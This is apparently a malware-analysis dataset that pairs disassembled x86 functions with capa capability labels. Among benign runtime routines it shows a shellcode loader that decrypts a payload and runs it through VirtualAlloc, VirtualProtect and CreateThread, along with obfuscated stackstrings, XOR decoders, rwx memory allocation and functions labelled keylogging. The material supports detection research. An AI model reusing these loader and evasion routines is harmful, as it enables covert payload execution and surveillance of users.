joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6ec81629
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x29a28
call fcn.6ec824d0
sub esp, eax
mov dword [ebp - 0x24], 0x499f79d9
mov dword [ebp - 0x20], 0xbd8100d0
mov dword [ebp - 0x1c], 0x8218b45d
mov dword [ebp - 0x18], 0xa6595f2e
lea eax, [ebp - 0x29a04]
mov edx, 0x6ec84044
mov ecx, 0x299e0
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [ebp - 0xc], 0x299e0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x299e0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x6ec816b7
mov eax, 0xffffffff
jmp 0x6ec8179c
mov dword [esp + 0xc], 0x10
lea eax, [ebp - 0x24]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x29a04]
mov dword [esp], eax
call sym.DestroyingAE_char__unsigned_long__char__unsigned_long_
mov dword [esp + 8], 0x299e0
lea eax, [ebp - 0x29a04]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._memmove
lea eax, [ebp - 0x29a08]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
mov dword [esp + 4], 0x299e0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
test eax, eax
sete al
test al, al
je 0x6ec81732
mov eax, 0xfffffffe
jmp 0x6ec8179c
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6ec8177a
mov eax, 0xfffffffd
jmp 0x6ec8179c
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
call eax
mov eax, 0
leave
ret

Function at 0x6ec819a0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6ec81a00
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x6ecaf050]
test esi, esi
jle 0x6ec81b20
mov eax, dword [0x6ecaf054]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x6ec81a34
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x6ec81ab7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x6ec81a20
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x6ec81b47
mov eax, dword [0x6ecaf054]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x6ecaf054]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6ec81b27
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x6ec81ab0
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x6ec81ac0
add dword [0x6ecaf050], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x6ecaf054]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6ec81ab0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x6ec81a3e
mov eax, dword [0x6ecaf054]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop

Function at 0x6ec81e60
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6ecaf060
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6ecaf058]
sub esp, 4
test ebx, ebx
je 0x6ec81eb5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x6ec81eae
test eax, eax
jne 0x6ec81eae
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ec81e90
mov dword [esp], 0x6ecaf060
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6ec821f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x6ec80000], 0x5a4d
jne 0x6ec82215
mov ecx, dword [0x6ec8003c]
cmp dword [ecx + 0x6ec80000], 0x4550
lea edx, [ecx + 0x6ec80000]
je 0x6ec82220
ret
cmp word [ecx + 0x6ec80018], 0x10b
jne 0x6ec82215
push esi
movzx eax, word [ecx + 0x6ec80014]
push ebx
movzx esi, word [ecx + 0x6ec80006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x6ec80000
test si, si
je 0x6ec82268
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x6ec8225e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x6ec8226a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x6ec82250
xor eax, eax
pop ebx
pop esi
ret

Function at 0x40893a
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x4085d8
add ecx, eax
or eax, eax
call fcn.00408969
push ecx
pop eax
add eax, 0x975f04a3
xor dword [edi], esi
add eax, 0xf95fc2e1
add edi, 1
inc eax
mov ecx, 0x6f96eec2
cmp edi, edx
jne fcn.0040893a
ret
Function at 0x408fbc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408f70
test al, al
jne 0x408fdd
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x409029
xor eax, eax
push ebp
push 0x409019
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00403414
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409020
lea eax, [ebp - 0xc]
call fcn.00408fac
ret
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x409330
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x40941f
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406cf4
mov edx, dword [ebp - 8]
mov ecx, 0x409438
xor eax, eax
call fcn.00409224
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x4093ed
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409350
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x36
call fcn.00408dd8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404c94
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
call fcn.00407284
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x68
call fcn.00408da8
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x404660
call fcn.00405890
call fcn.00402eb4
jmp 0x409350
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.0040322c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409426
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.004031b8
lea eax, [ebp - 8]
mov edx, 2
call fcn.004031b8
ret

Function at 0x409458
Capabilities:
Encode data using add xor sub operations

Disassembly:
add esp, 0xffffffec
cmp dword [0x40b07c], 2
jne 0x4094af
push esp
push 0x28
call 0x245d1fb6
add esp, 4
mov esi, 0xb6cc93e2
xor ebx, esi
xor ebx, 0xb3b8752
pop ecx
mov eax, ecx
push eax
sub esp, 4
mov edi, esp
mov dword [edi], edx
push 0x3a6a99f0
mov edi, 0x7455a8a9
shr edi, 1
pop edx
xor edi, edx
mov edx, dword [edi]
mov eax, edx
xor eax, ebx
mov dword [ecx], eax
mov edx, 0xfffffffc
sub edi, edx
mov edx, 4
add ecx, edx
mov eax, 0x571ef515
shr eax, 1
mov edx, 0x2bcf2eae
xor edx, eax
xor edx, edi
and edx, 0xffffffff
jne 0x409486
ret
Function at 0x10006d88
Capabilities:
Contain obfuscated stackstrings

Disassembly:
div ecx
test edx, edx
je 0x10006d94
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.10006aa6
aam 0xb1
sub cl, byte [ecx*4 - 0x17af3fbb]
invalid

Function at 0x1000768b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
out 0xfa, eax
invalid
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.10006ab6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10006a6b
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.10006aa6
mov ebp, ebx
jne 0x10007686
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
invalid
Function at 0x10007980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc dword [eax]
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.10006a84
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.10006ab6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10006a6b
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.10006aa6
bound ecx, qword [edx]
inc esi
push edx
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [ebp - 0x3d4]
mov dword [ebp - 0x28], eax
call fcn.10006aa6
sbb al, 0xaa
shr dh, 1
and byte [ebp - 0x20], 0
and byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0x1d
and byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0xa5
mov byte [ebp - 0x1b], 0x87
mov byte [ebp - 0x1a], 0x96
mov byte [ebp - 0x19], 0xb6
mov byte [ebp - 0x18], 0x87
mov byte [ebp - 0x17], 0x8f
mov byte [ebp - 0x16], 0x92
mov byte [ebp - 0x15], 0xb2
mov byte [ebp - 0x14], 0x83
mov byte [ebp - 0x13], 0x96
mov byte [ebp - 0x12], 0x8a
mov byte [ebp - 0x11], 0xa3
mov byte [ebp - 0x10], 0xe2
lea eax, [ebp - 0x20]
push eax
call fcn.10006ab6
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10006a6b
add esp, 0xc
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x654]
push eax
push 0x104
call dword [ebp - 0x370]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x28]
movsx eax, byte [ebp + eax - 0x12d]
cmp eax, 0x5c
jne 0x10007b52
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x550]
movsx eax, byte [ebp + eax - 0x655]
cmp eax, 0x5c
jne 0x10007b72
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
and dword [ebp - 0x338], 0
and dword [ebp - 0x3d0], 0
jmp 0x10007b8f
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0x104
jge 0x10007bf6
mov eax, dword [ebp - 0x3d0]
movsx eax, byte [ebp + eax - 0x334]
invalid
invalid
Function at 0x4079e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call fcn.00407df0
add esp, 4
pop ebp
ret

Function at 0x408f0d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x426390
cmp edx, dword [eax]
je 0x408f2f
add eax, 8
inc ecx
cmp eax, 0x426420
jl 0x408f20
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x426390]
jne 0x40905d
mov eax, dword [0x5156f0]
cmp eax, 1
je 0x409037
test eax, eax
jne 0x408f60
cmp dword [0x4262c8], 1
je 0x409037
cmp edx, 0xfc
je 0x40905d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x408f97
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409700
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409d30
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408fda
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409d30
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4234b4
push edi
call fcn.0040b180
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409700
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409710
lea eax, [ebp - 0xa0]
push 0x423494
push eax
call fcn.00409710
push dword [esi + 0x426394]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409710
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040b0f4
add esp, 0x2c
pop edi
jmp 0x40905d
lea eax, [ebp + 8]
lea esi, [esi + 0x426394]
push 0
push eax
push dword [esi]
call fcn.00409d30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x420dd0
Capabilities:
Terminate process

Disassembly:
sub esp, 0xc
call fcn.00420e20
mov eax, dword [0x429520]
mov edx, dword [esp + 0x10]
test eax, eax
jne 0x420dfe
mov dword [esp + 4], edx
call fcn.00408445
mov edx, dword [esp + 4]
mov dword [esp], edx
call fcn.00408434
add esp, 0xc
ret
mov dword [0x429520], 0
mov dword [esp], edx
mov dword [esp + 4], edx
call fcn.00408423
mov edx, dword [esp + 4]
jmp 0x420de5

Function at 0x4212c8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4212e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041f84a
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x421309
test byte [esp + 8], 2
je 0x421309
mov dword [0x515704], 0xd
mov dword [0x515708], 5
jmp 0x4212e4
xor eax, eax
ret
Function at 0x407c64
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
push esi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
lea ecx, [ebp - 0x34]
call fcn.0040ba87
or dword [ebp - 0x18], 0xffffffff
and dword [ebp - 0x1c], 0
xor esi, esi
inc esi
cmp dword [ebp - 0x24], esi
jbe 0x407cc5
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + esi*4]
cmp word [eax], 0x2d
jne 0x407cc5
movzx ecx, word [eax + 2]
cmp ecx, 0x63
je 0x407cb4
cmp ecx, 0x6c
jne 0x407cbf
lea ecx, [eax + 4]
call fcn.0040ca70
mov dword [ebp - 0x18], eax
jmp 0x407cbf
lea ecx, [eax + 4]
call fcn.0040ca70
mov dword [ebp - 0x1c], eax
inc esi
cmp esi, dword [ebp - 0x24]
jb 0x407c8d
mov eax, dword [0x419180]
push ebx
mov ebx, 0x401050
mov dword [ebp - 8], ebx
mov dword [ebp - 4], eax
inc dword [eax]
cmp esi, dword [ebp - 0x24]
mov dword [ebp - 8], 0x401050
jae 0x407d51
mov eax, dword [ebp - 0x20]
push dword [eax + esi*4]
lea ecx, [ebp - 8]
call fcn.00403b65
lea ecx, [ebp - 8]
call fcn.00406369
test al, al
jne 0x407d51
push edi
lea edi, [esi + 1]
jmp 0x407d34
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
mov dword [ebp - 0xc], 0x20
call fcn.0040cb82
mov eax, dword [ebp - 0x20]
push dword [eax + edi*4]
lea ecx, [ebp - 8]
call fcn.00403b9a
lea ecx, [ebp - 8]
call fcn.00406369
test al, al
jne 0x407d39
inc edi
cmp edi, dword [ebp - 0x24]
jb 0x407d04
cmp edi, dword [ebp - 0x24]
jne 0x407d4e
mov eax, dword [ebp - 0x20]
push dword [eax + esi*4]
lea ecx, [ebp - 8]
call fcn.00403b65
jmp 0x407d50
mov esi, edi
pop edi
inc esi
cmp esi, dword [ebp - 0x24]
jae 0x407daf
mov eax, dword [0x419180]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
inc dword [eax]
jmp 0x407d97
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0xc], 0x22
call fcn.0040cb82
mov eax, dword [ebp - 0x20]
push dword [eax + esi*4]
lea ecx, [ebp - 0x14]
call fcn.00403b9a
push 0x4019ac
lea ecx, [ebp - 0x14]
call fcn.00403b9a
inc esi
cmp esi, dword [ebp - 0x24]
jb 0x407d66
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
call fcn.00406833
lea ecx, [ebp - 0x14]
call fcn.0040ca36
lea ecx, [ebp - 0x310]
call fcn.00407661
push dword [ebp - 0x18]
lea eax, [ebp - 8]
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x310]
push eax
call fcn.00407bdc
test al, al
pop ebx
jne 0x407dd9
or esi, 0xffffffff
jmp 0x407df1
lea ecx, [ebp - 0x310]
call fcn.0040674b
lea ecx, [ebp - 0x310]
call fcn.00410a95
xor esi, esi
lea ecx, [ebp - 0x310]
call fcn.0040670d
lea ecx, [ebp - 8]
call fcn.0040ca36
lea ecx, [ebp - 0x34]
call fcn.0040781d
mov eax, esi
pop esi
leave
ret

Function at 0x40b5d6
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, ecx
cmp dword [esi + 0x1c], 0
jne 0x40b5e5
pop esi
jmp fcn.0040a79e
push 0
call fcn.0040b27b
cmp dword [esi + 0x1c], 0
je 0x40b5fa
mov ecx, esi
pop esi
jmp fcn.0040b440
pop esi
ret

Function at 0x40bc54
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
push 0
mov esi, ecx
lea eax, [esp + 8]
push eax
push dword [esi + 0x10]
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
and dword [esi + 0x10], 0
pop esi
pop ecx
ret
Function at 0x40bd4b
Capabilities:
Get file size
Read file via mapping

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.0040bbf2
xor edi, edi
push edi
push 0x8000080
push 3
push edi
push 3
push 0x80000000
push dword [esp + 0x24]
call dword [0x41a350]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x40bddb
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
cmp eax, edi
lea ecx, [esi + 0xc]
mov dword [ecx], eax
jne 0x40bd93
mov dword [esi + 0x10], ecx
mov al, 1
pop edi
pop esi
ret 4
push edi
push edi
push edi
push 2
push edi
push dword [esi + 4]
call dword [0x41a334]
cmp eax, edi
mov dword [esi + 8], eax
jne 0x40bdb4
push dword [esi + 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x40bdd7
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
cmp eax, edi
mov dword [esi + 0x10], eax
jne 0x40bd8c
push dword [esi + 8]
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
push dword [esi + 4]
call edi
or dword [esi + 4], 0xffffffff
xor al, al
jmp 0x40bd8e
Function at 0x40eea9
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [ecx + 0x10]
cmp dword [ecx + 0xc], eax
jae 0x40f082
push ebx
push esi
push edi
cmp byte [ecx + 0x20], 0
mov eax, dword [ecx + 0xc]
jne 0x40eee5
cmp byte [eax], 0x2b
jne 0x40f069
inc eax
cmp eax, dword [ecx + 0x10]
jae 0x40eed9
cmp byte [eax], 0x2d
je 0x40f056
mov dword [ecx + 0xc], eax
mov byte [ecx + 0x20], 1
jmp 0x40f048
mov edx, eax
sub edx, dword [ecx + 0x10]
push 8
pop ebx
xor edi, edi
xor esi, esi
cmp edx, ebx
jle 0x40eef7
mov ebx, edx
cmp ebx, edi
jle 0x40ef14
mov dl, byte [eax + esi]
cmp dl, 0x80
jae 0x40ef14
movzx edx, dl
cmp byte [edx + 0x402af0], 0xff
je 0x40ef14
inc esi
cmp esi, ebx
jl 0x40eefb
mov word [ecx + 0x18], di
mov word [ecx + 0x16], di
mov word [ecx + 0x14], di
lea edi, [esi - 1]
cmp edi, 7
ja case.default.0x40ef2c
jmp dword [edi*4 + 0x40f085]
movzx edx, byte [eax + 7]
movzx dx, byte [edx + 0x402af0]
mov word [ecx + 0x18], dx
movzx edx, byte [eax + 6]
movzx dx, byte [edx + 0x402af0]
shl edx, 6
or word [ecx + 0x18], dx
movzx edx, byte [eax + 5]
movzx dx, byte [edx + 0x402af0]
shl edx, 0xc
or word [ecx + 0x18], dx
movzx edx, byte [eax + 5]
mov dl, byte [edx + 0x402af0]
shr dl, 4
movzx dx, dl
mov word [ecx + 0x16], dx
movzx edx, byte [eax + 4]
movzx dx, byte [edx + 0x402af0]
shl edx, 2
or word [ecx + 0x16], dx
movzx edi, byte [eax + 3]
xor edx, edx
mov dh, byte [edi + 0x402af0]
or word [ecx + 0x16], dx
movzx edx, byte [eax + 2]
movzx dx, byte [edx + 0x402af0]
shl edx, 0xe
or word [ecx + 0x16], dx
movzx edx, byte [eax + 2]
mov dl, byte [edx + 0x402af0]
shr dl, 2
movzx dx, dl
mov word [ecx + 0x14], dx
movzx edx, byte [eax + 1]
movzx dx, byte [edx + 0x402af0]
shl edx, 4
or word [ecx + 0x14], dx
movzx edx, byte [eax]
movzx dx, byte [edx + 0x402af0]
mov dword [ecx + 0x1c], 1
shl edx, 0xa
or word [ecx + 0x14], dx
cmp esi, 8
jne 0x40f013
mov dx, word [ecx + 0x14]
mov di, word [ecx + 0x18]
mov dword [ecx + 0x1c], 3
mov word [ecx + 0x14], di
mov word [ecx + 0x18], dx
jmp case.default.0x40ef2c
cmp esi, 6
jl case.default.0x40ef2c
mov di, word [ecx + 0x14]
mov dx, word [ecx + 0x16]
mov dword [ecx + 0x1c], 2
mov word [ecx + 0x14], dx
mov word [ecx + 0x16], di
cmp esi, ebx
jge 0x40f041
mov byte [ecx + 0x20], 0
cmp byte [eax + esi], 0x2d
jne 0x40f041
inc eax
mov dword [ecx + 0xc], eax
add dword [ecx + 0xc], esi
test esi, esi
jne 0x40f07f
mov eax, dword [ecx + 0xc]
cmp eax, dword [ecx + 0x10]
jb 0x40eeb8
jmp 0x40f07f
add dword [ecx + 0xc], 2
mov dword [ecx + 0x1c], 1
mov word [ecx + 0x14], 0x2b
jmp 0x40f07f
mov eax, dword [ecx + 0xc]
mov dword [ecx + 0x1c], 1
movzx dx, byte [eax]
inc eax
mov word [ecx + 0x14], dx
mov dword [ecx + 0xc], eax
pop edi
pop esi
pop ebx
ret

Function at 0x410dab
Capabilities:
Allocate or change rwx memory

Disassembly:
push esi
mov esi, ecx
call fcn.00410d9a
mov eax, dword [esp + 8]
push 0x40
mov dword [esi + 0xc], eax
mov eax, dword [esp + 0x10]
push 0x1000
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x18]
push 0x16
push 0
mov dword [esi], 0x4038c4
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [esi + 0x18], eax
mov eax, esi
pop esi
ret 0xc
Function at 0x410fa1
Capabilities:
Open clipboard

Disassembly:
push esi
push dword [esp + 8]
mov esi, ecx
mov dword [esi], 0x4038fc
mov byte [esi + 4], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x410fd9
cmp byte [esp + 0xc], 0
jne 0x410fd5
call dword [sym.imp.USER32.dll_EmptyClipboard]
test eax, eax
jne 0x410fd5
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x410fd9
mov byte [esi + 4], 1
mov eax, esi
pop esi
ret 8

Function at 0x4114bb
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
